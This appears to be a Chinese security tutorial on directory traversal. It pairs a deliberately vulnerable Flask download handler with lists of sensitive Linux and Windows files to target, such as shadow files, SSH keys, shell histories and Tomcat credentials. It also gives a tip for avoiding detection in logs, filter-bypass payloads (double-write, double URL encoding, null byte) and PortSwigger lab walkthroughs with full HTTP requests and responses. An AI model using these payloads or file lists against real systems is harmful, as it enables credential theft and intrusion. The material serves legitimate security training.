Directory Traversal
目录遍历,或者国内常见翻译目录穿越。也有人遇到这类问题表现出来的现象叫任意文件下载、任意文件读取,不管叫什么他们原理都是一致的,不妨碍我们沟通,在本文中称作目录遍历。这里多一嘴有时候读取出文件内容可能是 SSRF、File Include,千万别判断错误错失漏洞。
漏洞原理也简单,在实现某个下载或读取文件功能中,逻辑错误,常常表现为代码中固定接收参数中文件名,不做过滤直接拼接存储文件的路径。
@app.route('/fileDownload')
def fileDownload():
fileName = request.args.get('file', '')
if len(fileName) < 1:
return
return getFileContent("/var/www/png/" + fileName)
目录
- 目录
- 利用
- 绕过
- 防御
- 靶场
- Web Security Academy⚒️
- Lab: File path traversal, simple case
- Lab: File path traversal, traversal sequences blocked with absolute path bypass
- Lab: File path traversal, traversal sequences stripped non-recursively
- Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
- Lab: File path traversal, validation of start of path
利用
此漏洞最大的作用就是信息收集。整理来说需要收集配置文件、日志两部分,因为系统原因 Linux 下由于全是文件,因此相对于 Windows 能获取的信息会多些。
在尝试读取系统文件时,应用如果支持 POST 方法,应该尽量使用,避免 GET 方法去请求,在请求日志中包含文件名,被发现攻击痕迹。当然这仅针对没有安全设备的目标有些许作用。
Linux
Linux 本质上是文件,所以通过文件能够获取很多信息,那读哪些文件?
配置文件
可以借由前面读取到的内容看看有哪些配置文件,最好是直接遍历 /etc 下常见的应用配置或应用目录下的配置文件扩大战果。
/etc/issue
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/var/run/secrets/kubernetes.io/serviceaccount
1./etc/shadow
,读取此文件可以用于判断当前应用权限是不是 root 启动,不是 root 读不了。读取成功后可以爆一波密码 SSH 登录。
2./etc/os-release
,看系统类型
3./etc/passwd
,看哪些用户能够登录系统
4./home/<UserName>
,读取用户目录内容
.bash_history,找到所有能登录系统的用户名,挨个看用户执行过的历史命令。
.ssh/id_rsa,读取 SSH 私钥尝试用私钥登录系统。
.ssh/known_hosts,可以看到这个用户尝试连接过哪些机器。
.viminfo,vim 编辑器中操作的历史记录会被保存下来,可以查看里面有没敏感信息或其他文件及路径。
7.locate 数据库
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
这数据库只能 root 读取,里面存放着系统所有文件索引。
下载后可以用 pymlocate 读所有文件路径。
import pymlocate
ml = pymlocate.open_locate_db("mlocate.db", True)
for f in ml:
print(f.dirname + ":")
if len(f.subentries) >= 1:
for subFile in f.subentries:
# 不替换会报错
# UnicodeEncodeError: 'gbk' codec can't encode character '\xde' in position 0: illegal multibyte sequence
print(' ' + subFile.filename.replace('\xde', ' '))
print()
8.容器环境判断
为什么会要提到容器判断?因为以前有个目标确实能读取 /etc/shadow 文件内容,但是密码字段不是哈希,也不是 !! 被禁止登录,而是一个普通关键字 locked。
root:locked::0:99999:7::
最后通过读取 /proc/1/cgroup 看到 Docker 关键字,确认为 Docker 环境。
11:pids/docker/4b47......
日志
日志主要是应用和系统的日志,先看应用。最常见的就是 Java,遇到此漏洞,通过读取 WebServer 用户 .bash_history 执行的历史命令,找到部署应用的目录,获取 WEB-INF/web.xml 所有 Servlet 配置信息。结合 web.xml 中 <servlet-name>
找到对应 <servlet-class>
com.example.FileUpload,最终定位到编译后的字节码文件 /WEB-INF/classes/com/example/FileUpload.class。下载后即可反编译得到代码进行审计。下载字节码再反编译,重复操作很麻烦,可以用 ClassHound 自动完成。
也可以读取 Tomcat 日志和配置内容:
- logs/catalina.out,所有 Tomcat 和应用输出的日志。
- logs/catalina.YYYY-MM-DD.log,指定日期的日志,比如 2023-01-12.log 就是二零二三年一月十二日这一天包含的日志。
- conf/web.xml
- conf/context.xml
- conf/logging.properties
- conf/server.xml
- conf/tomcat-users.xml
- conf/jmx/jmxremote.access
conf/jmx/jmxremote.password
关于日志 Gene Xu 写的介绍很全,有疑惑时可以查缺补漏 blog.csdn.net/goodbye_youth/article/details/106709976
查到日志后推荐使用 VSCode 筛内容,Ctrl + A 全选数据,Chrl + Shift + P 选 Sort Lines Descening 排序,Delete Dumplicate Lines去重,再来查看 URL。
这时候还是有很多重复项,可以选择性把日志时间信息删除。
[0-9]+.\[0-9]+.\[0-9]+.\[0-9]+ - - \[.*\]
还是有重复内容可以把相同的响应字节数给删除。
[0-9]+$
再重复去重一次,这样可以快速筛出想要的 API。
关于日志中可能会有中文的内容 VSCode 可以 Ctrl + F 搜索。
[\u4e00-\u9fa5]
同样的系统中其他日志也需要关注。
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
/proc
有时进程参数中会带有路径或是配置文件等信息,有必要关注。
进程在 /proc 下,这些数字就是进程 ID。
ubuntu@TeamServer:~$ ls /proc
1 128 153 19 21910 2298196 249981 415311 541 bus iomem misc swaps
10 129 155706 1923557 22 2298528 25 415312 551 cgroups ioports modules sys
108820 13 155707 1935589 2207194 2298592 250968 415315 5893 cmdline irq mounts sysrq-trigger
11 132 157 1985976 2207195 2298600 257 435397 6 consoles kallsyms mtrr sysvipc
1141261 133 16 1996254 2220012 2298629 284428 4382 606483 cpuinfo kcore net thread-self
117 134 17 2 2247760 2298630 3 47272 689007 crypto key-users pagetypeinfo timer_list
118 135 1706198 20 225082 2298632 326 486941 701 devices keys partitions tty
119 136 1706384 2015235 2270163 2298741 327 487321 709 diskstats kmsg pressure uptime
12 137 1706445 2017910 2273361 2298742 328 487322 716 dma kpagecgroup sched_debug version
120 138 173 2018058 2297786 2298754 329 488439 81959 driver kpagecount schedstat version_signature
121 139 174 2018110 2297901 23 386921 489760 9 execdomains kpageflags scsi vmallocinfo
122 14 178818 20289 2297907 24 398851 489761 90446 fb loadavg self vmstat
123 141 18 20296 2297919 249876 4 511 95017 filesystems locks slabinfo xen
124 142 1838601 2041619 2297920 249886 41207 518 acpi fs mdstat softirqs zoneinfo
125 15 1893933 21 2297921 249889 41208 519 buddyinfo interrupts meminfo stat
通过读取进程 ID 目录下的的 cmdline 文件,来获取进程命令行参数。
/proc/<Process ID>/cmdline
如果权限够大还可能读取到其他内容呢,这里给出一些字典,但是没详细描述其作用。
/proc/1/fd/1
/proc/self/environ
/proc/version
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
Windows
Windows 下不知道怎么确认漏洞,可以尝试的读取
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
iconcache.db
远控配置文件:
老版本 VNC
向日葵读取 config.ini 文件
甚至有些管理员习惯临时存个文件取名比较简单 C:\Users\Administrator\Desktop\1.txt,可以多遍历这些数字,如 1-10。
绕过
错误的防护策略依旧还是黑名单思路,比如剔除字符或检查黑名单字符,一旦规则不完善容易遗漏。
检查开头是不是 ..,可以尝试绝对路径,这个 . 表示当前路径 /etc,不会干扰获取内容。
/etc/./passwd
只检查开头是不是包含 ../,可以 ./ 绕过,后面 ../ 不管向上跳多少目录,最终只会回到根目录。
./../../../../../etc/passwd
检查正斜杠就用反斜杠。
\/\/etc/passwd
有时直接删除黑名单的特殊字符,如 ../../,再去下载过滤后的文件名。可以直接尝试绝对路径的文件。
/etc/passwd
也要检查它有没完全剔除,还是只是剔除第一个字符。比如本次剔除的是 .. 或 ../ 字符,那就多给一个看是不是剔除的不对。
..../..../..../etc/passwd
....//....//....//etc/passwd
双重编码特殊字符。具体原理见 Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
%252fetc%252fpasswd
防御
限定以某文件结尾。
现有有些应用下载文件都不靠文件名作为标识,而是上传文件后返回一个 Token,通过 Token 下载文件,估计在数据库里存了 Token 和文件名映射关系。
靶场
Web Security Academy⚒️
Lab: File path traversal, simple case
题目提示:在产品图片存在目录遍历
这里新手容易忽略的是,BurpSuite HTTP History 默认不显示图片,需要主动勾选进行展示。
直接获取没得到文件内容,说明可能拼接了文件路径。
GET /image?filename=/etc/passwd HTTP/2
Host: 0a3500ac03db485180d776e7005e0046.web-security-academy.net
Cookie: session=sN3NMychB0F02a9vgCv04BmOdvELunj9
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a3500ac03db485180d776e7005e0046.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14
"No such file"
往上跳三级目录即可获取文件内容。
GET /image?filename=../../../etc/passwd HTTP/2
Host: 0a3500ac03db485180d776e7005e0046.web-security-academy.net
Cookie: session=sN3NMychB0F02a9vgCv04BmOdvELunj9
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a3500ac03db485180d776e7005e0046.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
root:x:0:0:root:/root:/bin/bash
......
Lab: File path traversal, traversal sequences blocked with absolute path bypass
题意:在学习资料中提示了,这个 Lab 有遍历防护,可以尝试用绝对路径绕过。
尝试遍历会提示没有文件,很可能是把我们输入的 ../ 给剔除再去查过滤后的文件名,提示不存在。
GET /image?filename=../../../../etc/passwd HTTP/2
Host: 0a3d00a704959656870b472000a700e8.web-security-academy.net
Cookie: session=LEYsrWlzEuXb1g6J2N5zwBGhSmBwwok4
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a3d00a704959656870b472000a700e8.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14
"No such file"
直接给绝对路径读取到了。
GET /image?filename=/etc/passwd HTTP/2
Host: 0a3d00a704959656870b472000a700e8.web-security-academy.net
Cookie: session=LEYsrWlzEuXb1g6J2N5zwBGhSmBwwok4
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a3d00a704959656870b472000a700e8.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
root:x:0:0:root:/root:/bin/bash
......
Lab: File path traversal, traversal sequences stripped non-recursively
题意:应用过滤删除用户输入的文件名中的特殊字符。
正常的跳跃无法读取文件内容。
../../../etc/passwd
看了答案和 z3nsh3ll 的讲解才发现是剔除了 ../,因此尝试尝试双写绕过。
....//....//....//etc/passwd
最终变成。
../../../etc/passwd
成功解决。
GET /image?filename=./....//....//....//....//etc/passwd HTTP/2
Host: 0aa70075038c7b9580342bf200ff0002.web-security-academy.net
Cookie: session=6AXaJ0hgRNKXET1q8LIdWP3S4ycWCR7W
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a12005003ec689a81e0f336000c003c.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 200 OK
Content-Type: image/jpeg
Set-Cookie: session=6eI5Stzdmcj99g8D5HpHNqlLuE7qUXpU; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
root:x:0:0:root:/root:/bin/bash
......
但奇怪的是反斜杠为啥无法读取,按理说没过滤才对。
..../\/..../\/..../etc/passwd
..\/\/..\/\/..\/\/..\/etc/passwd
Lab: File path traversal, traversal sequences stripped with superfluous URL-decode
题意:应用还是过滤了遍历,在处理前进行了 URL 解码。
试了试双写不行,二次编码也不行,防护应该不是剔除。
./....//....//....//etc/passwd
.%252f....%252f%252f....%252f%252f....%252f%252fetc%252fpasswd
看了官方答案和 z3nsh3ll 详细解答,只是把要过滤的特殊字符斜线 / 二次编码即可。
..%252f..%252f..%252fetc/passwd
因此成功解决。
GET /image?filename=.%252f..%252f%252f..%252f%252f..%252f%252fetc%252fpasswd HTTP/2
Host: 0af700990422e09d807c4e50007300b4.web-security-academy.net
Cookie: session=Mn7ofDrzZJBGd8aA7kE359u37yjxXgQr
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a5200070353807a805a21e800aa0009.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 200 OK
Content-Type: image/jpeg
Set-Cookie: session=tXFiKOBX8VdXvNYiChd7euvZcnveBhye; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
root:x:0:0:root:/root:/bin/bash
......
为什么二次编码可以生效?
一个参数发送到 WebServer 会自动解码一次,最后传递给 Web 应用,此时仍然有一次编码,去判断此值不存在目录遍历关键字就认为正常,最后交给读取文件的方法去获取内容,此方法在获取文件内容过程中发现文件名存在 URL 编码,则解码去下载,因此造成漏洞。问题就在于不同组件对于 URL 编码的处理方式不同,存在绕过过滤器的可能。
Lab: File path traversal, validation of start of path
题意:程序验证要下载的文件参数中的路径。
一打开应用发现图片加载写的绝对路径。
image?filename=/var/www/images/66.jpg
````
直接读 /etc/passwd 提示需要参数。
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 30
"Missing parameter 'filename'"
根据标题来看就是验证了路径。通过给出路径跳跃到根目录解决。
GET /image?filename=/var/www/images/../../..//etc/passwd HTTP/2
Host: 0a4a004003cda7c580f3120c004f003d.web-security-academy.net
Cookie: session=h7rMLeDmvobQYH0gbHJEiJCjsmJt3Kyz
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a4a004003cda7c580f3120c004f003d.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
root:x:0:0:root:/root:/bin/bash
......
#### Lab: File path traversal, validation of file extension with null byte bypass
题意:这次验证的是文件后缀,必须以图片文件后缀结尾。
默认使用 `GET /image?filename=38.png HTTP/2` 文件名和后缀获取文件。只有通过 %00 才能绕过
GET /image?filename=./../../../etc/passwd%00.jpg HTTP/2
Host: 0a0a005a047b581284437d3100a600db.web-security-academy.net
Cookie: session=Jsb5FL3Bs6TL57AAUTlyBdzeLEeeQRTQ
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Sec-Ch-Ua-Platform: "Windows"
Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a0a005a047b581284437d3100a600db.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
root:x:0:0:root:/root:/bin/bash
......
因此 %00 还是有必要尝试一下的。
## 参考资料
- [Interaction-File-URL.pptx][1]
最近更新:
发布时间: